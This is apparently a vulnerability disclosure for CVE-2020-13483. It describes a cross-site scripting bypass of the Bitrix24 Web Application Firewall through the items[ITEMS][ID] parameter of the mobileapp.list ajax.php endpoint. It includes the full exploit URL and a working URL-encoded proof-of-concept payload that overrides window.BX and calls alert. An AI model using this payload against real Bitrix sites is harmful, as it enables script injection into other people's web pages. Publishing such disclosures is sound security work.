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https://gist.github.com/mariuszpoplawski/44c5dd8ca1c40ebbacd119505254195e
CVE-2020-13483
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The Web Application Firewall in Bitrix24 through 20.0.0 allows XSS via
the items[ITEMS][ID] parameter to the
components/bitrix/mobileapp.list/ajax.php/ URI.
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[Additional Information]
Vulnerability exists in:
http://192.168.1.30/bitrix/components/bitrix/mobileapp.list/ajax.php/?=&AJAX_CALL=Y&items%5BITEMS%5D%5BBOTTOM%5D%5BLEFT%5D=&items%5BITEMS%5D%5BTOGGLABLE%5D=test123&=&items%5BITEMS%5D%5BID%5D=%3Cimg+src=%22//%0d%0a)%3B//%22%22%3E%3Cdiv%3Ex%0d%0a%7D)%3Bvar+BX+=+window.BX%3Bwindow.BX+=+function(node,+bCache)%7B%7D%3BBX.ready+=+function(handler)%7B%7D%3Bfunction+__MobileAppList(test)%7Balert(document.location)%3B%7D%3B//%3C/div%3E
PAYLOAD:
%3Cimg+src=%22//%0d%0a);//%22%22%3E%3Cdiv%3Ex%0d%0a});var+BX+=+window.BX;window.BX+=+function(node,+bCache){};BX.ready+=+function(handler){};function+__MobileAppList(test){alert(document.location);};//%3C/div%3E
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[VulnerabilityType Other]
Cross Site Scripting (XSS) - Bitrix WAF Bypass
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[Vendor of Product]
Bitrix
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[Affected Product Code Base]
Bitrix - up to security update (main 20.0.0), reported and fixed in latest patch
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[Affected Component]
mobileapp.list
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[Attack Type]
Remote
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[CVE Impact Other]
Javascript / HTML injection
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[Attack Vectors]
To exploit vulnerability attacker need access to the website, no additional requirements needed
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[Has vendor confirmed or acknowledged the vulnerability?]
true
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[Discoverer]
Mariusz Poplawski (afine.pl)
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[Reference]
https://www.bitrix24.com/prices/self-hosted.php
https://www.bitrix24.com/security/
Mariusz Popłwski / AFINE.com team
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